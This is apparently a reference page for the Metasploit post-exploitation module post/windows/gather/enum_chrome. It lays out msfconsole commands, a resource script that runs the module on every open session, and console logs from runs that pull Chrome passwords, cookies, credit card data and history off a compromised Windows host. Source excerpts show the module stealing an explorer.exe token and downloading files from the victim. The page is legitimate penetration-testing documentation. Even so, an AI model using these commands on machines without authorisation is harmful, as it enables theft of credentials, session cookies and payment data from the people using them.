Windows Gather Google Chrome User Data Enumeration - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_chrome metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Gather Google Chrome User Data Enumeration
Module: post/windows/gather/enum_chrome
Source code: modules/post/windows/gather/enum_chrome.rb
Disclosure date: -
Last modification time: 2022-02-18 02:45:09 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect user data from Google Chrome and attempt to decrypt sensitive information.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_chrome

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_chrome
msf post(enum_chrome) > show options
    ... show and set options ...
msf post(enum_chrome) > set SESSION session-id
msf post(enum_chrome) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_chrome")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This post-exploitation module will extract saved user data from Google Chrome and attempt to decrypt sensitive information. Chrome encrypts sensitive data (passwords and credit card information) which can only be decrypted with the same logon credentials. This module tries to decrypt the sensitive data as the current user unless told otherwise via the MIGRATE setting.

Verification Steps

  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/enum_chrome
  4. Do: set SESSION <session id>
  5. Do: run
  6. You should be able to see the extracted chrome browser data in the loot files in JSON format

Options

  • MIGRATE - Migrate automatically to explorer.exe. This is useful if you're having SYSTEM privileges, because the process on the target system running meterpreter needs to be owned by the user the data belongs to. If activated the migration is done using the metasploit post/windows/manage/migrate module. The default value is false.

  • SESSION - The session to run the module on.

Extracted data

  • Web data:
    • General autofill data
    • Chrome users
    • Credit card data
  • Cookies
  • History
    • URL history
    • Download history
    • Search term history
  • Login data (username/password)
  • Bookmarks
  • Preferences

Scenarios

Meterpreter session as normal user

  [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200

  msf exploit(handler) > use post/windows/gather/enum_chrome
  msf post(enum_chrome) > set SESSION 1
  SESSION => 1
  msf post(enum_chrome) > run

  [*] Impersonating token: 3156
  [*] Running as user 'user-PC\user'...
  [*] Extracting data for user 'user'...
  [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
  [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
  [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
  [*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
  [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
  [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
  [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
  [*] Post module execution completed

Meterpreter session as system

In this case, you should set the MIGRATE setting to true. The module will try to migrate to explorer.exe to decrypt the encrypted data. After the decryption is done, the script will migrate back into the original process.

  [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200

  msf exploit(handler) > use post/windows/gather/enum_chrome
  msf post(enum_chrome) > set SESSION 1
  SESSION => 1
  msf post(enum_chrome) > set MIGRATE true
  MIGRATE => true
  msf post(enum_chrome) > run

  [*] current PID is 1100. migrating into explorer.exe, PID=2916...
  [*] done.
  [*] Running as user 'user-PC\user'...
  [*] Extracting data for user 'user'...
  [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
  [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
  [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
  [*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
  [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
  [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
  [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
  [*] migrating back into PID=1100...
  [*] done.
  [*] Post module execution completed

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Msfconsole Usage

Here is how the windows/gather/enum_chrome post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_chrome

msf6 post(windows/gather/enum_chrome) > show info

       Name: Windows Gather Google Chrome User Data Enumeration
     Module: post/windows/gather/enum_chrome
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Sven Taute
  sinn3r <[email protected]>
  Kx499
  mubix <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  MIGRATE  false            no        Automatically migrate to explorer.exe
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect user data from Google Chrome and attempt to 
  decrypt sensitive information.

Module Options

This is a complete list of options available in the windows/gather/enum_chrome post exploitation module:

msf6 post(windows/gather/enum_chrome) > show options

Module options (post/windows/gather/enum_chrome):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   MIGRATE  false            no        Automatically migrate to explorer.exe
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/enum_chrome post exploitation module:

msf6 post(windows/gather/enum_chrome) > show advanced

Module advanced options (post/windows/gather/enum_chrome):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/enum_chrome module can do:

msf6 post(windows/gather/enum_chrome) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/enum_chrome post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_chrome) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

==> Mailvelope database not found

Here is a relevant code snippet related to the "==> Mailvelope database not found" error message:

58:	
59:	  def extension_mailvelope(username, extname)
60:	    chrome_path = @profiles_path + "\\" + username + @data_path
61:	    maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
62:	    if file_exist?(maildb_path) == false
63:	      print_error("==> Mailvelope database not found")
64:	      return
65:	    end
66:	    print_status("==> Downloading Mailvelope database...")
67:	    local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
68:	    session.fs.file.download_file(local_path, maildb_path)

<F> not found

Here is a relevant code snippet related to the "<F> not found" error message:

183:	    @chrome_files.map { |e| e[:in_file] }.uniq.each do |f|
184:	      remote_path = chrome_path + '\\' + f
185:	
186:	      # Verify the path before downloading the file
187:	      if file_exist?(remote_path) == false
188:	        print_error("#{f} not found")
189:	        next
190:	      end
191:	
192:	      # Store raw data
193:	      local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")

No explorer.exe process to impersonate.

Here is a relevant code snippet related to the "No explorer.exe process to impersonate." error message:

212:	    current_pid = session.sys.process.open.pid
213:	    target_pid = session.sys.process["explorer.exe"]
214:	    return if target_pid == current_pid
215:	
216:	    if target_pid.to_s.empty?
217:	      print_warning("No explorer.exe process to impersonate.")
218:	      return
219:	    end
220:	
221:	    print_status("Impersonating token: #{target_pid}")
222:	    begin

Cannot impersonate: <E.MESSAGE.TO_S>

Here is a relevant code snippet related to the "Cannot impersonate: <E.MESSAGE.TO_S>" error message:

221:	    print_status("Impersonating token: #{target_pid}")
222:	    begin
223:	      session.sys.config.steal_token(target_pid)
224:	      return true
225:	    rescue Rex::Post::Meterpreter::RequestError => e
226:	      print_error("Cannot impersonate: #{e.message.to_s}")
227:	      return false
228:	    end
229:	  end
230:	
231:	  def migrate(pid = nil)

(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")

Here is a relevant code snippet related to the "(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")" error message:

297:	
298:	    # Get user(s)
299:	    usernames = []
300:	    if is_system?
301:	      print_status("Running as SYSTEM, extracting user list...")
302:	      print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
303:	      session.fs.dir.foreach(@profiles_path) do |u|
304:	        not_actually_users = [
305:	          ".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
306:	          "LocalService", "NetworkService"
307:	        ]

SQLite3 is not available, and we are not able to parse the database.

Here is a relevant code snippet related to the "SQLite3 is not available, and we are not able to parse the database." error message:

316:	
317:	    has_sqlite3 = true
318:	    begin
319:	      require 'sqlite3'
320:	    rescue LoadError
321:	      print_warning("SQLite3 is not available, and we are not able to parse the database.")
322:	      has_sqlite3 = false
323:	    end
324:	
325:	    # Process files for each username
326:	    usernames.each do |u|

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See Also

Check also the following modules related to this module:

Authors

  • Sven Taute
  • sinn3r
  • Kx499
  • mubix

Version

This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

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